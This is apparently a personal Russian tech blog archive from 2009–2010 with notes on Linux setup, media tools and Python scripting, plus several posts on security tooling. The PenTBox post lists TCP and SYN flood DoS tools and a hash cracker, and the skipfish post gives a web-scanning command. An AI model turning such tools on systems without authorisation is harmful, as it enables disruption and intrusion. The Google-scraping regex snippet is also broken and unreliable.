
2010-07-19T08:32:00.000-07:00

Очередным шагом в сторону стремления к минимуму энергии стал отказ от всяких богомерзких Network Manager'ов. Мало того, что они жрут оперативку и глючат, так ещё и занимают место в системном трее! Безобразие. Так что wpa_supplicant. Как бы не показалось по названию, эта утилита может работать с сетями не только WPA, но и всеми остальными (беспроводными, разумеется).
В ней есть конфиг /etc/wpa_supplicant.conf в котором по умолчанию много буков, поэтому его можно смело удалить. Сразу приведу пример конфига, по которому всё станет ясно:

network={
   ssid="AP1"
   priority=10
   key_mgmt=NONE
   wep_key0=355D3671207E37DC11E9D371E3
}

network={
   ssid="AP2"
   priority=5
   psk=b20a16a0622753f26c6660cdde815131cc11dcf5b8d46d8c1c3dd003bbe7c791
}

network={
   ssid="AP3"
   priority=1
   key_mgmt=NONE
}

Видно, что конфиг состоит из блоков network, в которых собственно описываются параметры сетей, к которым wpa_supplicant будет пытаться подключаться. В примере приведены параметры сетей для статического WEP, WPA1/2 PSK и открытой сети. Параметр priority явно задает приоритет подключения, хотя он и так рассчитывается (на основании секурности и силы сигнала, что не всегда устраивает). Параметр psk - закодированный пароль, его (а точнее весь блок network) можно получить командой wpa_passphrase. Ну и запуск всего этого дела происходит командой:

wpa_supplicant -B -D wext -i wlan0 -c /etc/wpa_supplicant.conf

Стоит отметить, что происходит только ассоциация с точной доступа, IP адрес всё еще нужно получить с помощью dhcpd или dhclient. Лучше это делать не сразу же после запуска wpa_supplicant, а через некоторое время (секунд 3-5), т.к. ассоциация происходит не мгновенно.

Инвертирование цветов в X

2010-07-19T08:12:00.000-07:00

Казалось бы, достаточно простая операция - инвертировать цвета на экране, однако далеко не все представляют, как это можно сделать средствами иксов. В основном, советовали ставить композитный оконный менеджер, но т.к. я упоротый фанат OpenBox, то это меня не устраивало. Даже в тех менеджерах, которые можно ставить отдельно от WM, т.е. в использовать вместе с ним (такие как cairo-compmgr и xcompmgr) не обладали подобной функцией. И тут я было приуныл, как решил спросить у истинного адепта линукса, наставившего меня на путь инстинный, и, да!

xcalib -invert -alter

Повесил команду на хоткей и радуюсь.

Рипаем dvd с помощью ffmpeg

2010-07-19T08:01:00.000-07:00

Не так давно для меня процесс создания рипа двд диска был весьма темным знанием, известным лишь релизерам на рутрекер.орг. Однако всё оказалось очень даже просто (по крайней мере в линуксе):

ffmpeg -i VTS_01_1.VOB -f avi -vcodec mpeg4 -b 1500k -g 300 -bf 2 -acodec libmp3lame -ab 128k video.avi

Это типичная команда для рипа двд диска, которую можно после долгих поисков найти в мане к утилите. Фактически, два самых значительных параметра в этой команде - битрейты видео и аудио, в данном случае равные 1500k и 128k.
В каждом конкретном случае битрейт видео, разумеется, надо подбирать отдельно (если нет никаких ограничений по объему): чем более динамично видео, тем больше должен быть битрейт, по идее, для сохранения комфортной картинки. Для этого можно варьировать цифру после параметра -b и делать некий сэмпл рипа, несколько десятков секунд, просто завершить ffmpeg в процессе его работы и посмотреть что получилось.
Если исходников было несколько, то склеить их в один файл можно так:

mencoder -oac copy -ovc copy part1.avi part2.avi -o video.avi

Определение транскодов в Linux - 2

2010-05-06T15:06:00.000-07:00

В прошлой заметке я рассказывал, как определять транскоды с помощью программы Audacity. Но сейчас я внезапно обнаружил, что существует линуксовая версия широко известной в узких кругах утилиты auCDtect, гуишной надстройкой под которую является Audiochecker.

Поставляется она в виде бинарника, да и ещё сразу не хочет запускаться, выдавая ошибку:

$ ./auCDtect
./auCDtect: error while loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory

Нужная ему допотопная библиотека находится в соответствующем пакете (для Дебиана). Неприятно, что проверяет он только WAV файлы, поэтому лосося сперва нужно конвертировать туда, для FLAC, например, командой

$ flac -d <файлы>

Вот и сказке конец, ну вы поняли.

fuzzdb

2010-04-29T05:02:00.000-07:00

Интересная разработка, включающая в себя шаблоны атак (как кстати по-русски слово payload устоялось-таки?), имен файлов, логинов, паролей и сообщений об ошибках, возникающих при той или иной атаке. Весьма впечатляющий объем данных там уже есть и постоянно пополняется, как я вижу.

Можно использовать с уже имеющимися фаззерами, при написании собственных или просто освежить в памяти при ручном тестировании. :)

fuzzdb

PenTBox - набор утилит для пентеста

2010-03-30T07:31:00.000-07:00

Недавно вышла в свет финальная версия. Утилиты написаны на Ruby, так что собирать-компилять ничего не нужно. Интерес представляют фаззеры HTTP и FTP, ну а так в основном унылость. Разве что использовать в образовательных целях.

PenTBox 1.3.2 

      ____          _____ ____
     |  _ \ ___ _ _|_   _| __ )  _____  __
     | |_) / _ \ '_ \| | |  _ \ / _ \ \/ /
     |  __/  __/ | | | | | |_) | (_) >  < 
     |_|   \___|_| |_|_| |____/ \___/_/\_\

        Our little Box, your Security Suite.

- Cryptography tools

Base64 Encoder & Decoder
Multi-Digest (MD5, SHA1, SHA256, SHA384, SHA512)
Hash Password Cracker (MD5, SHA1, SHA256, SHA384, SHA512)
Secure Password Generator
Files en/decryptor Rijndael (AES) 256 bits – GOST – ARC4

- Network tools

TCP Flood DoSer
TCP Flood AutoDoSer
Spoofed SYN Flood DoSer [nmap - hping3]
Port scanner
Honeypot
PenTBox Secure Instant Messaging
Fuzzer

- Extra

L33t Sp3@k Converter

pentbox.net

skipfish - сканер безопасности web-приложений от Google

2010-03-23T07:05:00.000-07:00

На днях компания Google представила свой open source инструмент для аудита безопасности web-приложений, наподобие широко известного nikto. Однако разработчик заявляет ряд преимуществ перед имеющимися решениями, среди них:

высокая скорость работы (~500 запросов в секунду через Интернет, ~2000 - через локальную сеть)
простота использования
хорошо продуманные тест-кейсы (весь список проверяемых уязвимостей доступен в README к программе)

Иструмент доступен для скачивания в исходных кодах отсюда. Для компиляции мне пришлось доустановить заголовочные файлы для ssl. Далее распаковываем и компилируем.

# apt-get install libssl-dev
$ tar -xzfp skipfish-1.13b.tgz
$ cd skipfish/
$ make

В случае успеха в папке появится исполняемый файл skipfish, собственно то, что нам нужно. В папке dictionaries находятся словари, которые могут использоваться при составлении карты сайта. Словари включают в себя расширения и ключевые слова. Чем больше словарь, тем более глубокий фаззинг сайта будет проведен. Словарь по умолчанию должен называться skipfish.wl и находиться в одной папке с исполняемым файлом: нужно перенести и переименовать нужный словарь из соотвествующей папки.

Итак, приступим же наконец к сканированию! Типичная команда сканирования выглядит следующим образом:

$ ./skipfish -MEU -o ./example http://www.example.com/

Здесь "-MEU" - опции для создания отчета, чтобы всё было хорошо, "./example" - имя папки в которую будет писаться отчет, а "http://www.example.com/", как несложно догадаться, адрес сайта.

Поддержка cookie, HTTP аутентификации и прочих плюшек имеется в полном объеме. Все настройки можно глянуть по команде:

$ ./skipfish -h

Доставила динамическая консольная статистика и детализированный отчет, поражающий мозг обыденного пользователя nikto. По количеству найденных уязвимостей, на первый взгляд (на основе сканирования одного сайта), оставляет позади nikto последней версии. Респект и уважуха в общем.

Lenovo X200t & Debian Squeeze: wi-fi и сенсорный экран

2010-03-13T04:56:00.000-08:00

В связи с недавним переходом на Debian Squeeze запосчу несколько заметок по допиливанию функциональности моего ноутбука в этой среде.

Практически всё оборудование подхватилось из коробки при условии выбора инсталляционного пункта "Laptop" при установке.

1. Wi-fi
Имеем:

$ lspci | grep -i wireless
03:00.0 Network controller: Intel Corporation PRO/Wireless 5100 AGN [Shiloh] Network Connection

Прошивка для этого компонента небесплатна, поэтому придется подключить non-free компоненты основного репозитория в /etc/apt/sourses.list. В итоге в списке должна присутствовать строчка вида:

deb http://mirror.yandex.ru/debian/ squeeze main contrib non-free

Далее обновляем список пакетов

# apt-get update

И устанавливаем пакеты

# apt-get install firmware-iwlwifi wireless-tools

Подгружаем модуль ядра, если таковой не был подгружен автоматически

# modprobe iwlagn

Радуемся

# ifconfig wlan0 up

2. Сенсорный экран
Для настройки экрана понадобится остановить X сервер, сгенерировать xorg.conf и подгрузить модуль ядра wacom, который уже установлен в системе:

# modprobe wacom

# /etc/init.d/kdm stop
# /etc/init.d/gdm stop
# /etc/init.d/xdm stop
# cd /etc/X11/
# Xorg -configure

А потом отредактировать его, добавив следующие секции:

Section "InputDevice"
   Driver "wacom"
   Identifier "cursor"
   Option "Device" "/dev/ttyS0"
   Option "Type" "cursor"
   Option "ForceDevice" "ISDV4"
   Option "Mode" "Absolute"
EndSection

Section "InputDevice"
   Driver "wacom"
   Identifier "stylus"
   Option "Device" "/dev/ttyS0"
   Option "Type" "stylus"
   Option "ForceDevice" "ISDV4"
EndSection

Section "InputDevice"
   Driver "wacom"
   Identifier "eraser"
   Option "Device" "/dev/ttyS0"
   Option "Type" "eraser"
   Option "ForceDevice" "ISDV4"
EndSection

Section "InputDevice"
   Driver "wacom"
   Identifier "touch"
   Option "Device" "/dev/ttyS0"
   Option "Type" "touch"
   Option "ForceDevice" "ISDV4"
EndSection

А также добавив в секцию ServerLayout следующие строки:

InputDevice "cursor" "SendCoreEvents"
InputDevice "stylus" "SendCoreEvents"
InputDevice "eraser" "SendCoreEvents"
InputDevice "touch" "SendCoreEvents"

Чтиво

2010-03-12T00:20:00.000-08:00

Предлагаю ознакомиться со списком статей по питону, которые мне показались весьма интересными (навеяно просмотром питоньей rss ленты Хабра):

Изучаем Python за 10 минут (eng рус)
Написание Qt приложений на языке Python (рус)
Python best practices (eng)
Шпаргалка по Питону (eng)
Python: советы, уловки, хаки (eng рус)
Скрипты Python против Bash (рус)
Немного про py2exe (рус)
Основы работы с потоками в языке Python (рус)
Сила и красота декораторов, метапрограммирование (рус)
Memoization в Python, оптимизация работы программ (рус)
Специфика циклов в Питоне (рус)

ctypes - наш друг!

2009-12-27T16:12:00.000-08:00

Модуль ctypes с легкостью позволяет использовать функции сторонних DLL или SO файлов. В ctypes есть три метода подгрузки библиотек:

cdll() - использует соглашение cdecl при вызове функций
windll() - использует stdcall (для Microsoft Win32 API)
oledll() - использует cdecl + коды возврата HRESULT (для функций Microsoft COM)

Пример: попробуем воспользоваться широко известной функцией printf() из языка С. В Linux она находится в библиотеке /lib/libc.so.6, в Windows - C:\windows\system32\msvcrt.dll.

Код для Linux:

from ctypes import *
libc = CDLL("libc.so.6")
message = 'Hello world!\n'
libc.printf('Testing: %s', message)

Код для Windows:

from ctypes import *
msvcrt = cdll.msvcrt
message = 'Hello world!\n'
msvcrt.printf('Testing: %s', message)

Исчерпывающий мануал по ctypes находится здесь.

Монтирование iso в Linux

2009-12-07T18:45:00.000-08:00

# mkdir /mnt/iso
# mount -o loop -t iso9660 /home/iv/disk.iso /mnt/iso
# ...
# umount /mnt/iso
# echo profit!

Минимизация всех окон в KDE4

2009-11-14T17:57:00.000-08:00

Меня очень расстроил тот факт, что для минимизации окон следует подключать отдельный виджет, который жрет память и место на панели. Я начал искать пути отступления и по мотивам этого поста докладываю.

Для сворачивания всех окон используем этот скрипт:

#!/bin/sh
target=on
if xprop -root _NET_SHOWING_DESKTOP | fgrep '= 1' ; then
target=off
fi
wmctrl -k ${target}

Для его корректной работы необходима утилита xprop, входящая в пакет x11-utils, а также утилита wmctrl, которая сама по себе. После сохранения скрипта в каком-то файле и chmod'ания на +х добавляем ссылку на него в KDE Menu (kmenuedit) и во вкладке Advanced прописываем Current shortcut key. У меня это Win+D.

Profit!

Определение транскодов в Linux

2009-11-08T12:39:00.000-08:00

Под "транскодом" в данном случае я подразумеваю mp3 файл переконвертированный во flac. Таким образом размер файла раздувается, а качество остается без изменений. На слух, конечно, это тоже вполне заметно, а вот убедиться точно поможет программа Audacity.

Открываем нужный трек (Ctrl+O). Далее из меню Analyze > Plot spectrum построит нам спектрограмму, на которой можно увидеть распределение частот. Lossy форматы отличаются тем, что обрезают верхний диапазон частот для уменьшения размера файла. Это можно пронаблюдать на следующем рисунке:

Виден явный спад в области 16 кГц. А так выглядит спектрограмма нормального трека:

Играемся с lossless в Linux

2009-11-01T10:09:00.000-08:00

Опишу решение ряда проблем, вставших перед рядовым слушателем lossless музыки в Linux, в частности Debian-based дистрибутивах (я использую Kubuntu):

Конвертация APE -> FLAC
Разделение образа диска на треки по CUE файлу
Именование треков по тэгам

Для конвертации понадобятся два пакета: flac и mac. Первый устанавливается из репозиториев:

sudo apt-get install flac

Второго в репозиториях нет, поэтому нужно скачать .deb файл отсюда и далее:

sudo dpkg -i mac-3.99-u4_b3-1_i386.deb

Для разделения образа на треки нужны пакеты cuetools и shntool:

sudo apt-get install cuetools shntool

Для именования треков - софтина EasyTAG с непростым GTK фронтэндом:

sudo apt-get install easytag

Конвертим из APE во FLAC все файлы в текущей директории:

shnconv -o flac *.ape

Делим FLAC образ на треки:

cuebreakpoints file.cue | shnsplit -o flac image.flac

Делим APE образ на треки во FLAC:

cuebreakpoints file.cue | shnsplit -o flac image.ape

После разделения у треков будут имена типа "split-track01.flac", это не гуд. Но тэги будут прописаны по CUE файлу, стало быть, можно переименовать файлы согласно тэгам. И в этом поможет EasyTAG, работу с которой описывать смысла нет, ибо gui :(

scp - безопасное копирование файлов между компьютерами

2009-09-28T02:32:00.000-07:00

Открываю тэги "useful" и "*nix"! Утилита scp пригодится, если нужно перекинуть файл с одного компа на другой. В большинстве случаев хватает этого синтаксиса:

scp <юзер>@<комп>:<что копировать> <юзер>@<комп>:<куда копировать>

В частном случае утилита может быть использована для передачи файлов между локальным компьютером и удаленным. В таком случае реквизиты <юзер>@<имя компа> локального компьютера можно опустить.

Радости разработки на Django

2009-09-16T02:55:00.000-07:00

Недавно заинтересовался разработкой веб-приложений на Python, соотвественно, решил воспользоваться фреймворком Django. В этой заметке хочу описать процесс создания и запуска проекта Django на Apache, ибо запуск приложений на сервере хостера заметно отличается от запуска их на локальном компьютере (что описывается в первых главах DjangoBook), как оказалось.

На моём хостинге уже был установлен Django и соотвествующим образом настроен Apache, поэтому первое, что нужно сделать - это создать проект. В моем случае последовала команда:

~/www/webapp$ django-admin.py startproject mysite

После этого в папке mysite создался проект django, включающий в себя несколько файлов (подробное описание их опускаю, можно найти в DjangoBook).
Далее согласно мануалу нужно создать WSGI-приложение webapp.wsgi следующего содержания:

import os, sys
sys.path.append('/home/www/webapp)
os.environ['DJANGO_SETTINGS_MODULE'] = 'mysite.settings'

import django.core.handlers.wsgi

application = django.core.handlers.wsgi.WSGIHandler()

В итоге получаем приветственную страницу Django по ссылке http://сайт/webapp
Чтобы получать доступ к Django из корня сайта, нужно написать rewrite правило в файле .htaccess, который должен располагаться в папочке public_html:

RewriteEngine On
RewriteRule ^(.*)$ /webapp/$1 [L,QSA]

Теперь привественная страничка доступна по нормальной ссылке, далее можно продолжать разработку согласно DjangoBook.

SocksiPy - надеваем носки правильно

2009-08-04T05:15:00.000-07:00

SocksiPy - небольшой модуль, призванный решить задачу подключения через SOCKS прокси, которая не реализована в стандартных библиотеках типа urllib и urllib2. Модуль позволяет работать с SOCKS четвертой и пятой версий, а также и с HTTP прокси, поддерживающими метод CONNECT. После установки коннекта поведение объекта не отличается от простого сокета. Пример кода:

import socks
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS5,"socks.example.com")
s.connect(("www.example.com",80))

Также существует возможность перезаписи стандатного метода сокета так, чтобы все свежесозданные сокеты работали через прокси. Удобно, если в своей программе нужно пустить весь трафик через прокси:

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"socks.example.com")
socket.socket = socks.socksocket
urllib.urlopen("http://ivinside.blogspot.com/")

Руткиты -3 кольца

2009-08-02T12:54:00.000-07:00

Вот здесь появились слайды (в количестве 85 штук) с презентации "Introducing Ring -3 Rootkits", которая проходила в рамках Black Hat USA 2009. До чего хитроумные хакеры дошли! Исполняют свои коды на чипсетах... Соотвественно, если к вам попадет такой руткит, то банальная переустановка ОС уже не поможет. На чипсеты Q35 от Intel руткит загружается через Intel Active Management Technology (AMT). На этих чипсетах установлен процессор типа ARC4 с RISC архитектурой, под который потребуется соотвествующий компилятор. Для последних чипсетов типа Q45 память под AMT дополнительно защищена, так что данные руткиты уже неработоспособны. Читайте подробности в презентации и повышайте квалификацию!

И да, собственно материалы из Лас-Вегаса доступны тут. Очень много интересного.

Samurai WTF

2009-07-31T03:33:00.000-07:00

Вышла следующая девелоп версия Samurai WTF - платформы для аудита веб-приложений.
Ченджлог:

Installed Cewl from dijininja.org -- Kevin Johnson
Updated Ubunutu patches as of July 23, 2009 -- Frank DiMaggio
Updated w3af from SVN as of July 25, 2009 -- Kevin Johnson
Fixed sqlninja.sh -- Frank DiMaggio
Fixed sqlmap.sh to include the -h -- Kevin Johnson for Tim Medin
Updated sqlmap to 0.7 -- Frank DiMaggio and Kevin Johnson
Updated Firefox add-on Hackbar -- Kevin Johnson
Updated Firefox add-on XSS Me -- Kevin Johnson
Updated Firefox add-on Header Spy -- Kevin Johnson
Updated Firefox add-on User Agent Switcher -- Kevin Johnson
Updated jBroFuzz to 1.4 -- Kevin Johnson
Upgrade nmap to 5.0 -- Kevin Johnson
Installed Durzosploit from SVN as of July 18, 2009 -- Kevin Johnson
Installed BrowserRider from SVN as of July 18, 2009 -- Frank DiMaggio
Added Jason Wood's username generator scripts -- Kevin Johnson
Updated MaltegoCE to 2.02 -- Frank DiMaggio
Added Laudanum Files -- Kevin Johnson
Added GPScan.rb from dijininja.org -- Kevin Johnson
Added HowTo videos from Pauldotcom -- Kevin Johnson

Картинка:

re - регулярные выражения в python

2009-07-24T02:33:00.000-07:00

Осознание регулярных выражений далось мне не сразу, но если поэкспериментировать, то всё будет ок. Не буду затрагивать аспекты, которые даются в книгах, а расскажу лишь про сложности, которые возникли у меня.

Про квантификацию: жадная, ленивая, ревнивая. Ревнивой я вообще никогда не пользовался, а вот про жадную пару слов. К примеру, символ "точка" означает любой символ. Выражение ".+" означает один и более символов - вплоть до конца анализируемого фрагмента. С таким выражением далеко не уедешь, поясню почему. Имеем следующий фрагмент html-кода:
<a href='www.site.com'>GSOM</a> <b>пум-пу-рум</b>
Если применить к этому фрагменту выражение <a href='(.+)'> с целью получения ссылки, то оно жадно зохавает всю строку, ибо последний знак ">" встречается и в самом в конце! Уталить жадность точки поможет вопросительный знак. И вот, если применить выражение "<a href='(.+?)'>", то получим то, что надо: www.site.com

Вообще, у меня выражение (.+?) - одно из самых востребованных при парсинге html-кода.
В качестве примера проапгрейдим один из предыдущий с выдачей гугла так, чтобы на экран выводились только ссылки по запросу:

import urllib2, re

search = 'ivinside.blogspot.com'
headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
req = urllib2.Request("http://www.google.ru/search?q=" + search + "&start=0&ie=utf-8&oe=utf-8", None, headers)
response = urllib2.urlopen(req)

for url in re.findall(r'<class="r"><href="(.+?)">')

Итак регулярное выражение '<class="r"><href="(.+?)">' откуда я его взял? Посмотрел в исходнике выдачи гугла и увидел нечто похожее на <h3 class=r<>a href="http://site.com" target=_blank class=l ... и применил к этому своё излюбленное точка-плюсик-вопросительный-знак. То-то же.

urllib2 - начало

2009-07-21T00:08:00.000-07:00

urllib2 - библиотечка, с помощью которой удобно обрабатывать веб-странички, заполнять веб формы, обрабатывать куки, соединяться через прокси и прочее.

Простейший пример:

import urllib2
response = urllib2.urlopen('http://ivinside.blogspot.com/')
print response.read()

Эта программа показывает на экран html-кодесы данного блога. Но не всегда можно получить содержимое странички, например, результаты поиска в Google таким образом не посмотришь, ибо он фильтрует по строке User-Agent всякие нежелательные приложения, в питоне по умолчанию она что-то типа "Python-urllib/2.5".

С помощью следующего кода выводим на экран результат поиска в гугле по запросу "ivinside.blogspot.com", прикидываясь Internet Explorer под Vista:

import urllib2

search = 'ivinside.blogspot.com'
headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
req = urllib2.Request("http://www.google.ru/search?q=" + search + "&start=0&ie=utf-8&oe=utf-8", None, headers)
response = urllib2.urlopen(req)
print response.read()

Ну, и напоследок сегодня, как заполнять веб-формы. Возьму для примера веб-сервис whois. Как посмотреть какие параметры при этом передаются в запросе POST? Я смотрю плагином Live HTTP headers для Firefox и считаю его приемлемым. Итак, заполняем первую форму вручную, нажимаем кнопочку и смотрим в окно плагина. Там, среди всего прочего, будут интересующие нас параметры:
Host=whois.ripn.net&Whois=test.ru
Добавим их как параметры функции, предварительно закодировав, как того требует спецификация:

import urllib
import urllib2

headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
values = {'Host' : 'whois.ripn.net', 'Whois' : 'test.ru'}
data = urllib.urlencode(values)
req = urllib2.Request('http://www.ripn.net:8082/nic/whois/whois.cgi', data, headers)
response = urllib2.urlopen(req)
print response.read()

Ок, получили страничку, где содержится информация про домен test.ru
В следующей заметке, наверно, расскажу про регулярные выражения, чтобы из полученных страничек можно было извлекать нужные данные.

Python для чайников и профи

2009-07-11T13:11:00.000-07:00

Всем тем, кто не в теме змеиного языка и не знает, стоит ли его вообще изучать могу порекомендовать ознакомиться с соотвествующей статьей в Абсурдопедии. Если вам она показалось забавной, то не всё потеряно и можно даже попробовать ознакомиться со статьей из Википедии.

Первая книга, по которой я начал изучать python, - Язык программирования Python. В авторах значится и сам создатель языка, что дает некую надежду на адекватность книги. Действительно, прочитав первые 100 страниц, я отложил все эти чтения, взялся за практику и открывал книгу уже по мере необходимости.

Далее, можно взять на заметку лекции г-на Сузи, в которых кратко изложена суть и минимум мути. В качестве справочника использую pydoc.org, поиск по классам и методам обычно дает результаты.

Вот недавно заказал многообещающую книжку Изучаем Python, 3-е издание, с нетерпением жду доставки. Очень хотелось бы ознакомиться с Gray Hat Python: Python Programming for Hackers and Reverse Engineers, но с амазоном я, к сожалению, не дружу.

И, да!..

2009-07-07T09:15:00.000-07:00

Идея вести тематический блог у меня зародилась давно, ибо блог в стиле ЖЖ изжил себя. Это уже и так потятно, что отмотав записи на пару лет назад, можно понять какое было безобразие.

Итак, пришло время для новых концепций. Этот блог будет исключительно технической направленности, с основными тэгами "python", "security" и прочими смежными. По поводу первого буду конспектировать свои достижения (чтобы не забыть), а по поводу второго – в силу своей специфики, так сказать.

К слову, название блога взято из дзена Питона, а вот над оформлением придется ещё поработать. В любом случае
>>> print 'hello world & welcome!'